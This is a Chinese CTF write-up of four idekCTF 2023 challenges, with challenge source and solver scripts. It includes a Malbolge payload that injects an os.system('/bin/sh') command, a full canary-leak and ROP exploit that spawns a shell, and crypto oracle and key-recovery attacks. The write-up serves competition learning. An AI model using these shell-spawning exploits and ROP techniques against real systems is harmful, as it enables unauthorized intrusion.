[idekCTF 2023] Malbolge I Gluttony,Typop,Cleithrophobia,Megalophobia

news2024/11/27 6:11:35

这些题名字我都不认识,这是什么语呀。这个比赛感觉太难了,加上春节将近比较忙,仅作了4个简单题。记录一下。

Misc/Malbolge I Gluttony

这是个虚拟机的题,放入misc感觉有点不可思忆,题目给了7个命令,有"23"读a=read(),"5"保存output+=a,"81"输出。这是第1题有读,后边没有读功能的就不会了。

这里命令判断有点小坑是mem[c]+c 所以每个命令由于位置不同会有变化(减序号)。

from sys import stdin

CRAZY = [[1, 0, 0], [1, 0, 2], [2, 2, 1]]

ENCRYPT = "5z]&gqtyfr$(we4{WP)H-Zn,[%\\3dL+Q;>U!pJS72FhOA1CB6v^=I_0/8|jsb9m<.TVac`uY*MK'X~xDl}REokN:#?G\"i@"
ENCRYPT = list(map(ord, ENCRYPT))

with open("banner") as banner:
    print(*banner.readlines())


def crazy(a, b, bad):
    trits = CRAZY if bad is None else bad
    result = 0
    d = 1
    for _ in range(10):
        result += trits[b // d % 3][a // d % 3] * d
        d *= 3
    return result


def initialize(source, mem, bad):
    i = 0
    for c in source:
        assert (ord(c) + i) % 94 in {4, 5, 23, 39, 40, 62, 68, 81}
        mem[i] = ord(c)
        i += 1
    while i < 3**10:
        mem[i] = crazy(mem[i - 1], mem[i - 2], bad)
        i += 1


def interpret(mem, stdin_allowed, bad):
    output = ""
    a, c, d = 0, 0, 0
    while True:
        if not 33 <= mem[c] <= 126:
            return output

        match (mem[c] + c) % 94:
            case 4:
                c = mem[d]
            case 5:
                ch = chr(int(a % 256))
                print(ch, end="")
                output += ch
            case 23:
                if stdin_allowed:
                    try:
                        a = ord(stdin.read(1))
                    except TypeError:
                        return output
                else:
                    return output
            case 39:
                a = mem[d] = 3**9 * (mem[d] % 3) + mem[d] // 3
            case 40:
                d = mem[d]
            case 62:
                a = mem[d] = crazy(a, mem[d], bad)
            case 81:
                return output

        if 33 <= mem[c] <= 126:
            mem[c] = ENCRYPT[mem[c] - 33]

        c = (c + 1) % 3**10
        d = (d + 1) % 3**10


def malbolge(program, stdin_allowed=True, a_bad_time=None):
    memory = [0] * 3**10 #59049
    initialize(program, memory, a_bad_time)
    return interpret(memory, stdin_allowed, a_bad_time)

返回数据实际上就是命令,由主程序执行。

from malbolge import malbolge

assert len(code := input()) <= 66 - 6 + (6 + 6)/6
exec(malbolge(code))

第一题还是比较简单的,由于有读功能,直接(读-保存)*n最后再加上输出就行了。不过这里有另外 一个坑,文件名特别长,所以open(dir/name).read()就不可行了,要求长度不能超过62。

所以这里用另外一条命令

import os;os.system("/bin/sh")

30个字符需要60个命令加输出一共61个正好。先用程序生成这个命令串

for i in range(61):
    #print(i, ':', end='')
    for c in range(0x21,0x7f):
        if i<60:
            if i%2== 1:
                if (c + i) % 94 in {5}: #{4, 5, 23, 39, 40, 62, 68, 81}:
                    print(chr(c),end='')
            else:
                if (c + i) % 94 in {23}: #{4, 5, 23, 39, 40, 62, 68, 81}:
                    print(chr(c),end='')
        else:
            if (c + i) % 94 in {81}: #{4, 5, 23, 39, 40, 62, 68, 81}:
                print(chr(c),end='')

print('\n')

最后输入即可。

from pwn import *

p = remote('malbolge1.chal.idek.team', 1337)
context.log_level = 'debug'

a = 'ubs`q^o\mZkXiVgTeRcPaN_L]J[HYFWDUBS@Q>O<M:K8I6G4E2C0A.?,=*;(s'
b = 'import os;os.system("/bin/sh")'

p.sendlineafter(b'\n\n', a.encode())
sleep(0.1)
p.sendline(b.encode())

p.interactive()

#$ cat d*/f*
#idek{4l1_h0p3_484nd0n_y3_wh0_3nt3r_h3r3}

Pwn/Typop

这个pwn题相当于签到了,有两个溢出,第一个有输出可以带出想要的东西,第2个还能恢复现场,然后循环。

unsigned __int64 getFeedback()
{
  __int64 buf; // [rsp+Eh] [rbp-12h] BYREF
  __int16 v2; // [rsp+16h] [rbp-Ah]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  buf = 0LL;
  v2 = 0;
  puts("Do you like ctf?");
  read(0, &buf, 0x1EuLL);
  printf("You said: %s\n", (const char *)&buf);
  if ( (_BYTE)buf == 121 )
    printf("That's great! ");
  else
    printf("Aww :( ");
  puts("Can you provide some extra feedback?");
  read(0, &buf, 0x5AuLL);
  return __readfsqword(0x28u) ^ v3;
}

由于题目开了PIE,和canary所以想要ROP需要先得到canary,然后再得到加载地址,再求libc地址,最后system

from pwn import *

#p = process('./chall')
p = remote('typop.chal.idek.team', 1337)
context(arch='amd64', log_level='debug')
elf = ELF('./chall')
#libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('/home/kali/glibc/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')
#gdb.attach(p)
#pause()

#1 取canary
p.sendlineafter(b"Do you want to complete a survey?\n", b'y')

p.sendafter(b"Do you like ctf?\n", b'A'*(10+1))
p.recvuntil(b'A'*11)

canary = b'\x00'+p.recv(7)
stack = u64(p.recvline()[:-1].ljust(8, b'\x00'))
print(canary.hex(), hex(stack))

rop1 = b'A'*10 + canary   #恢复canary
p.sendafter(b"Can you provide some extra feedback?\n", rop1)

#2 取加载地址
p.sendlineafter(b"Do you want to complete a survey?\n", b'y')

p.sendafter(b"Do you like ctf?\n", b'A'*0x1a)
p.recvuntil(b'A'*0x1a)
elf.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x1447
print(hex(elf.address))

pop_rdi = elf.address + 0x00000000000014d3 # pop rdi ; ret

rop = flat(pop_rdi, elf.got['puts'], elf.plt['puts'], elf.sym['getFeedback']) #取libc地址
p.sendafter(b"Can you provide some extra feedback?\n", rop1+rop)

libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc.sym['puts']

#3
p.sendafter(b"Do you like ctf?\n", b'A')
rop = flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\x00')), libc.sym['system'])
p.sendafter(b"Can you provide some extra feedback?\n", rop1+rop)

p.interactive()

Crypto/Cleithrophobia

这题第二天早上睡醒了才有了思路。

先看原题

#!/usr/bin/env python3
#
# Polymero
#

# Imports
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import os

# Local imports
with open('flag.txt', 'rb') as f:
    FLAG = f.read()
    f.close()

# Header
HDR = r"""|
|
|       __ _       ___ ____ ______ __ __ ____   ___  ____  __ __  ___  ____  ____  ____
|      /  ] |     /  _]    |      |  |  |    \ /   \|    \|  |  |/   \|    \|    |/    |
|     /  /| |    /  [_ |  ||      |  |  |  D  )     |  o  )  |  |     |  o  )|  ||  o  |
|    /  / | |___/    _]|  ||_|  |_|  _  |    /|  O  |   _/|  _  |  O  |     ||  ||     |
|   /   \_|     |   [_ |  |  |  | |  |  |    \|     |  |  |  |  |     |  O  ||  ||  _  |
|   \     |     |     ||  |  |  | |  |  |  .  \     |  |  |  |  |     |     ||  ||  |  |
|    \____|_____|_____|____| |__| |__|__|__|\_|\___/|__|  |__|__|\___/|_____|____|__|__|
|
|"""


# Server encryption function
def encrypt(msg, key):

    pad_msg = pad(msg, 16)
    blocks = [os.urandom(16)] + [pad_msg[i:i+16] for i in range(0,len(pad_msg),16)]

    itm = [blocks[0]]
    for i in range(len(blocks) - 1):
        tmp = AES.new(key, AES.MODE_ECB).encrypt(blocks[i+1])
        itm += [bytes(j^k for j,k in zip(tmp, blocks[i]))]

    cip = [blocks[0]]
    for i in range(len(blocks) - 1):
        tmp = AES.new(key, AES.MODE_ECB).decrypt(itm[-(i+1)])
        cip += [bytes(j^k for j,k in zip(tmp, itm[-i]))]

    return b"".join(cip[::-1])


# Server connection
KEY = os.urandom(32)

print(HDR)
print("|  ~ I trapped the flag using AES encryption and decryption layers, so good luck ~ ^w^")
print(f"|\n|    flag = {encrypt(FLAG, KEY).hex()}")


# Server loop
while True:

    try:

        print("|\n|  ~ Want to encrypt something?")
        msg = bytes.fromhex(input("|\n|    > (hex) "))

        enc = encrypt(msg, KEY)
        print(f"|\n|   {enc.hex()}")

    except KeyboardInterrupt:
        print('\n|\n|  ~ Well goodbye then ~\n|')
        break

    except:
        print('|\n|  ~ Erhm... Are you okay?\n|')

有无端,一上来就给了加密后的flag,只有一个命令就是输入明文返回密文。

加密方法如下图。先将明文分块,每块先用AES_ECB方式加密,AES_ECB方式叫做电子密码本,同样的明文会生成同样的密文,没有加入反馈。但想爆破是不可能的,所以这题不用想爆破逆向求解。

在第一次加密后与前一个的明文异或——前反馈,如果是第一个包就用IV。

然后作一次解密相同方式,由于有前反馈所以密文已经发生变化(?),所以这里解密相当于加密。

完成以后用下一块的解密前内容与当前结果再作一次异或。

当时就想到到一点:

以第5块为例,如果他是最后一块,构造一个报文前一块明文是0,那么第一次反馈就没了,而第二次反馈是IV已知。所以就能解了。

可如果化不是最后一个就需要后边的反馈,以4块为例得到D4后会与C5异或,由于AES加密无法解,就需要求C5。

当天太晚了,一觉醒来,想到一个:移位。如图

  1. 先拿flag-enc最后一块的密文E5与IV异或得到D5

  1. 构造报文前一块是0,由D5加密后得到C5,C5与前一块明文(0)异或后不变

  1. C5后边得到什么没有意思不管他

  1. 看D5的前一块构造的明文0,加密方法相同,0先加密生成B0

  1. 这时候还需要在0前边再构造一个0块用于前反馈,这个0便得B0在异或后无变,依然是B0

  1. B0做解密得到0

  1. 0与D5中间过程的C5异或得到C5

这样就泄露了一个C5,同相的方法得到所以有C,这样后反馈的问题就解决了。

由于实际的明文加密过程中有前反馈,需要前一个的明文,所以这回从前向后处理

先构造报文iv+D1

  1. D1加密后得到C1

  1. C1与IV异或后得到B1

  1. B1解密得到A1(明文)

  1. A1再异或一次得到R(第2个坑)

由于加密过程引入的pad所以16字节的报文会被加入\x10*16的尾块。所以第4步得到R还需要异或这个尾块的,而尾块是有前反馈的D1,所以实际构造后的报文是iv+D1+\x10*16

所以还需要求一次尾块的c:pad-c^D1这个与前边求c的方法完全相同,内容见图,略。

from pwn import *

def get_enc(pay):
    io.sendlineafter(b"|\n|    > (hex) ", pay.hex().encode())
    io.recvuntil(b"|\n|   ")
    return bytes.fromhex(io.recvline().strip().decode())

io = remote('cleithrophobia.chal.idek.team', 1337)

context.log_level = 'debug'

io.recvuntil(b'flag = ')
flag_enc = bytes.fromhex(io.recvline().strip().decode())

cip = [flag_enc[i: i+16] for i in range(0, len(flag_enc), 16)][::-1]
iv = cip[0]
#求c [iv, c5, c4, ..., c1]
itm = [iv]
for i in range(1, len(cip)):
    pay = b'\x00'*32+ xor(itm[-1], cip[i])
    tmp = get_enc(pay)
    itm.append(tmp[16: 32])
    #print(itm[-1].hex())
    #break

D = [xor(itm[4-i],cip[5-i]) for i in range(5)]
print(' '.join([v.hex() for v in D]))

#求A
blk = [iv]
for i in range(len(D)):
    pay = blk[-1]+D[i]
    tmp = get_enc(pay)
    print(tmp.hex())
    R = tmp[16:32]
    #padding_c
    iv2 = tmp[-16:]
    P = tmp[32:48]
    pay = b'\x00'*32+ xor(iv2, P)
    tmp2 = get_enc(pay)
    c_padding = tmp2[16:32]
    blk.append(xor(R, c_padding))
    #break

print(b''.join(blk[1:]))   
#b'flag{wh0_3v3n_c0m3s_up_w1th_r1d1cul0us_sch3m3s_l1k3_th1s__0h_w41t__1_d0}\x08\x08\x08\x08\x08\x08\x08\x08'

Crypto/Megalophobia

这题感觉快结束才出,估计是因为简单。

有个无端,但意义不大,每次连接后给出密码就完事。后边的就没意思,得到flag谁还会往下走!

#!/usr/bin/env python3
#
# Polymero
#

# Imports
from Crypto.Cipher import AES
from Crypto.Util.number import getPrime, inverse
import os

# Local imports
with open('flag.txt', 'rb') as f:
    FLAG = f.read()
    f.close()

# Header
HDR = r"""|
|
|    ____    ____ ________   ______       _      _____      ___   _______ ____  ____   ___   ______  _____      _
|   |_   \  /   _|_   __  |.' ___  |     / \    |_   _|   .'   `.|_   __ \_   ||   _|.'   `.|_   _ \|_   _|    / \
|     |   \/   |   | |_ \_/ .'   \_|    / _ \     | |    /  .-.  \ | |__) || |__| | /  .-.  \ | |_) | | |     / _ \
|     | |\  /| |   |  _| _| |   ____   / ___ \    | |   _| |   | | |  ___/ |  __  | | |   | | |  __'. | |    / ___ \
|    _| |_\/_| |_ _| |__/ \ `.___]  |_/ /   \ \_ _| |__/ \  `-'  /_| |_   _| |  | |_\  `-'  /_| |__) || |_ _/ /   \ \_
|   |_____||_____|________|`._____.'|____| |____|________|`.___.'|_____| |____||____|`.___.'|_______/_____|____| |____|
|
|"""

# Private RSA key
d = 1
while d == 1:
    p, q = [getPrime(512) for _ in '01']
    d = inverse(0x10001, (p - 1)*(q - 1))

# Key encoding
num_byt = [i.to_bytes(256, 'big').lstrip(b'\x00') for i in [p, q, d, inverse(q, p)]]
sec_key = b''.join([len(k).to_bytes(2, 'big') + k for k in num_byt])

# OTP key to encrypt private part
otp_key = os.urandom((len(sec_key) - len(FLAG)) // 2) + b"__" + FLAG + b"__" + os.urandom(-((len(FLAG) - len(sec_key)) // 2))

pub_key = (p * q).to_bytes(128,'big')
enc_key = bytes([i^j for i,j in zip(sec_key, otp_key)])

# Server connection
print(HDR)

print("|  ~ Here hold my RSA key pair for me, don't worry, I encrypted the private part ::")
print('|    ' + pub_key.hex() + '::' + enc_key.hex())

print("|\n|  --- several hours later ---")
print('|\n|  ~ Hey, could you send me my encrypted private key?')

# Retrieve private key
try:
    my_enc_key = bytes.fromhex(input('|\n|    > (hex)'))
    my_sec_key = bytes([i^j for i,j in zip(my_enc_key, otp_key)])

    pop_lst = []
    while len(my_sec_key) >= 2:
        pop_len = int.from_bytes(my_sec_key[:2], 'big')
        if pop_len <= len(my_sec_key[2:]):
            pop_lst += [int.from_bytes(my_sec_key[2:2 + pop_len], 'big')]
            my_sec_key = my_sec_key[2 + pop_len:]
        else:
            my_sec_key = b""
    assert len(pop_lst) == 4

    p, q, d, u = pop_lst
    assert p * q == int.from_bytes(pub_key, 'big')

except:
    print("|\n|  ~ Erhm... That's not my key? I'll go somewhere else for now, bye...\n|")
    exit()

# RSA-CRT decryption function
def decrypt(cip, p, q, d, u):
    dp = d % (p - 1)
    dq = d % (q - 1)
    mp = pow(int.from_bytes(cip, 'big'), dp, p)
    mq = pow(int.from_bytes(cip, 'big'), dq, q)
    t = (mp - mq) % p
    h = (t * u) % p
    m = (h * q + mq)
    return m.to_bytes(128, 'big').lstrip(b'\x00')

# Game
print("|  ~ Now, I don't trust my own PRNG. Could you send me some 128-byte nonces encrypted with my RSA public key?")
for _ in range(500):

    enc_rng = bytes.fromhex(input('|  > '))

    nonce = decrypt(enc_rng, p, q, d, u)

    if len(nonce) < 128:
        print("|  ~ Erhm... are you sure this is a random 128-byte nonce? This doesn't seem safe to me... Q_Q")
    else:
        print("|  ~ Thanks, this looks random ^w^")

加密方法每简单,先把flag两款端对称填充,然后随机生成512位的p,q,然后求d和inverse(q,p)把这个转bytes前加长度头连一块与填充后的flag异或作为密文直接给出。所以后边的程序就没用了。

这题不需要解密!!!

先看这些参数有多长,一般情况下getPrime(512)生成的肯定是512位的,即便少也就是顶多一位,转bytes后长度是64,d这东西一般长度与和n差不多(e=0x10001),最长就是128,然后再看u这个不大于p,最长是64,这样算来最大长度是:

2+64+2+64+2+128+2+64 == 328

再看密文正好是328字节。也就是都恰后最大值。

由于flag是对称填充,而一般flag很短,也就对应的是d的高64字节这个位置,虽然d未知,但是d的大概值还是可求的(前一半)

这里p,q都是512位,而k小小于e所以如果不考虑后512的话约等于成立。

所以只需要爆破出d就行了。

msg = 'b7adfbf2ab98e1756e88dd9165cee3cbe13839d8b5517c92fc9d01732f617b6a3792fbd992b717ba0f208ce9f6bfcd4d165bcc120689d2572219694996492f60780028d11c73d04a12a2319fc0e8b12c6a14f38e86bf6a978fbdf02bdf9197e59ac2d9e078fbb04151cbf64c06bd3b4833dcafb63ccd7c0a386afd72007afae5::81a1237b6235e5e797dac8c630dbac34ff2f37e51bd96d6f2fb15ed4f69ff573dbeeaa0f74dcd95d3984fde4eb30005a55d9dceefe224c6feb9931a4a7b88d1ef99ffb6d6e642e3a9084ce7f922bdfd2b595f8d71cb1693b477229619b22714ac70506f270536f152b292532afb95fc4e0b58759bc5d6a11b55fad2f1bb3f246460e9f8eab5fb143d8775ca4d41654008f465ab5f10c9e9b29c18b8a4faa240aa540abdee44dd80a20dc76725d0d1e745de2ed376db2006e51b73180d01e8ff8b9ceb1601851d76b5737ac8ac2b22678c60d866529a5f07a62a9a9ddcc6ce83483c5f9c1276836e3432451803ab574004ce35b2220d98d1d748086a03a15392c72f2376bf4dea2c7600a8c52758639f0735e16df61aced5e0f47736e2629b833c69e408eb9867450360f9e42032e5a63ac40e5a45028b65ccf0bd5f2374bf4c698c9ec3caa68eb8b'

from Crypto.Util.number import long_to_bytes, bytes_to_long 
#ed  = 1 mod phi    d ็บฆ i*phi//e  => i*n//e
msg = msg.split('::')
n = bytes_to_long(bytes.fromhex(msg[0]))
c = bytes.fromhex(msg[1])[132+2:132+66]
from pwn import xor
for i in range(1,0x10000):
    hd = long_to_bytes(i*n//0x10001)[:64]
    t = xor(hd,c)
    if b'idek{' in t:
        print(t)

#b'\xda\xe6#oL__idek{M3G4_r34lly_n33d_t0_g3t_th31r_sh1t_t0g3th3r}__\xfc :\xd6\x86\xcf'

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/166980.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【云原生进阶之容器】第五章容器运行时5.1节--容器运行时总述

1 Kubernetes引言 Kubernetes 已经成为容器编排调度领域的事实标准,其优良的架构不仅保证了丰富的容器编排调度功能,同时也提供了各个层次的扩展接口以满足用户的定制化需求。其中,容器运行时作为 Kubernetes 管理和运行容器的关键组件,当然也提供了简便易用的扩展…

图解二叉树的构造 | 中序 + 后序

中序后续构造二叉树 https://leetcode.cn/problems/construct-binary-tree-from-inorder-and-postorder-traversal/ 递归思路 递归思路很简单, 因为无论是构造一棵大树还是一棵小树, 都是重复的子问题, 思路主要麻烦在边界上 如下图所示 上述是中序和后续序列 我们要递归, 需…

BetaFlight飞控AOCODARC-F7MINI固件编译

BetaFlight飞控AOCODARC-F7MINI固件编译1. 编译目标&#xff08;AOCODARC-F7MINI&#xff09;2. 编译步骤Step 1 软件配置环境准备Step 2 获取开源代码Step 3 构建命令介绍Step 4 构建命令准备Step 5 厂家目标板查询Step 6 目标固件编译Step 7 目标固件清理3. 参考资料BetaFlig…

MyBatis中TypeHandler的使用教程

一.TypeHandler作用及其使用场景在我们平常开发操作数据库时&#xff0c;查询、插入数据等操作行为&#xff0c;有时会报数据类型不匹配异常&#xff0c;就可以得知数据的类型是不唯一的必然是多种不同的数据类型。并且我们必须要明确的一点就是java作为一门编程语言有自己的数…

如何使用ElementUI的table组件来实现单元格的行合并

前言 最近在编写一个值班的排班表&#xff0c;然后中间涉及到了表格应用。并且还要做出类似这种效果的行合并效果: 然后就开始找组件了。Html的table是有rowsSpan和colsSpan的属性来实现行合并和列合并的。然后就在网上找资料&#xff0c;发现没有几篇能把这两个属性将好的&a…

LeetCode刷题模版:111 - 120

目录 简介111. 二叉树的最小深度112. 路径总和113. 路径总和 II114. 二叉树展开为链表115. 不同的子序列116. 填充每个节点的下一个右侧节点指针117. 填充每个节点的下一个右侧节点指针 II118. 杨辉三角119. 杨辉三角 II120. 三角形最小路径和结语简介 Hello! 非常感谢您阅读海…

SWPUCTF 2022新生赛 web部分wp

&#x1f60b;大家好&#xff0c;我是YAy_17&#xff0c;是一枚爱好网安的小白。 本人水平有限&#xff0c;欢迎各位大佬指点&#xff0c;一起学习&#x1f497;&#xff0c;一起进步⭐️。⭐️此后如竟没有炬火&#xff0c;我便是唯一的光。⭐️ 目录 [SWPUCTF 2022 新生赛]…

linux中使用KubeSphere和集群k8s 部署springboot项目

上期已经介绍了单体k8s部署springboot项目&#xff0c;这期讲解集群k8s部署springboot项目 因为部署方式已经在单体中讲过&#xff0c;现在大体粗略讲一下首先看下集群节点&#xff0c;如下所示&#xff1a; 第一步&#xff1a;创建项目----》按照做的项目名称建 创建后&…

MyCat实现单库分表+代理所有表

MyCAT支持水平分片与垂直分片&#xff1a; 水平分片&#xff1a;一个表格的数据分割到多个节点上&#xff0c;按照行分隔。 垂直分片&#xff1a;一个数据库中多个表格A&#xff0c;B&#xff0c;C&#xff0c;A存储到节点1上&#xff0c;B存储到节点2上&#xff0c;C存储到…

Unity 过场工具(Cutscene)设计(二)

Unity 过场工具(Cutscene)设计&#xff08;二&#xff09; 本章主要分析一下过场一般的必要组成元素&#xff0c;以及在Unity中的制作方案 镜头 通常来说一个表现要求比较高的过场&#xff0c;需要专业的导演进行运镜操作的。 在Unity中官方有一个很好的镜头插件 Cinemachine…

基于Leaflet的VideoOverlay视频图层叠加实战

前言在基于二维的场景中&#xff0c;也许会遇到以下的需求。在某交通路口或者重要的监控点&#xff0c;需要将实时或者录制的视频信息叠加在地图上。更有甚者&#xff0c;随着设备通讯方式的增强&#xff0c;无人机等设备可以采集实时数据&#xff0c;实时回传到控制终端&#…

纵有疾风起,Petterp与他的2022

引言 每逢年末&#xff0c;都要来聊一聊关于今年的各种事情&#xff0c;今昔也不例外:) 与往年不同的是&#xff0c;今天刚搬完家&#xff0c;现在是晚上 1:44 ,正是忙碌一天后比较头痛的时刻。 此刻写点东西&#xff0c;脑子也许会放松一下。&#x1f916; 坐在桌子前&…

RFID技术应用在服装门店管理

服装行业是一个高度一体化的行业&#xff0c;集设计研发、成衣生产、运输、销售于一体。在这些过程中&#xff0c;传统的服装供应链往往消耗巨大的人力、物力和资金成本&#xff0c;但效果一般。当今市场消费者的需求变幻莫测&#xff0c;时尚潮流日新月异。稍有延误&#xff0…

从零编写MDK的FLM烧录算法

文章目录前言一、将代码中的图片资源下载到外部flash1. 修改分散加载文件2. 添加外部flash算法二、制作FLM文件步骤三、使用STM32CubeMX新建工程前言 上文讲过&#xff0c;当我们要下载编译好的镜像到Flash时&#xff0c;首先要做的一步就是选择合适的Flash下载算法&#xff0…

WPS Office 2019 版本 excel透视图创建及删除

摘要&#xff1a;记录一下在做2022年总结数据时遇到的问题&#xff0c;主要问题有2个&#xff0c;①从飞书多维表格导下来数据后不能求和计算和下拉序号&#xff0c;②excel数据透视表创建及删除。 相关文章&#xff1a; 一、Excel WPS Office 2019 版本 excel透视图创建及删…

合作升级|Kyligence 跬智智能分析平台入选华为云联营商品

近日&#xff0c;Kyligence 跬智智能分析平台正式入选华为云联营商品&#xff0c;成为华为云在数据分析领域的联营合作伙伴。通过联营模式&#xff0c;双方将加深在产品、解决方案等多个领域的合作&#xff0c;携手打造“共生、共创、共营、共赢”的合作生态&#xff0c;为用户…

[激光原理与应用-65]:激光器-器件 - 多模光纤(宽频光纤)、单模光纤的原理与区别

第1章 光纤基础与概述1.1 概述光纤是光导纤维的简写&#xff0c;是一种由玻璃或塑料制成的纤维&#xff0c;可作为光传导工具。传输原理是“光的全反射”。微细的光纤封装在塑料护套中&#xff0c;使得它能够弯曲而不至于断裂。通常&#xff0c;光纤的一端的发射装置使用发光二…

Spring Boot(五十三):SpringBoot Actuator之简单实现

1 场景介绍 对于一个大型的几十个、几百个微服务构成的微服务架构系统&#xff0c;在线上时通常会遇到下面一些问题&#xff0c;比如&#xff1a; 1. 如何知道哪些服务除了问题&#xff0c;如何快速定位&#xff1f; (健康状况&#xff09; 2. 如何统一监控各个微服务的性能指标…

不确定性量化 (UQ) 可以显著提高预测准确性,在不确定的世界中获得最佳结果昆士兰大学Mike McKerns-中国学者网

在不确定的世界中获得最佳结果,不确定性量化可以解开成功与失败之间的区别。不确定性量化 &#xff08;UQ&#xff09; 可以显著提高预测准确性&#xff0c;提供设计优化&#xff0c;并在充满未知的世界中促进快速解决方案改进。昆士兰大学的一个机构"不确定性量化基金会&…

vue3中常用的指令之v-bind和v-on

一、v-bind指令 一个vue2和vue3之间的不同之处&#xff1a;Vue2中template模板中只能有一个根元素&#xff0c;但是在Vue3中允许template中有多个元素。 1.v-bind的绑定基本属性 某些属性也希望是动态绑定的&#xff0c;比如动态绑定a元素中的href属性。 v-bind可以绑定一个…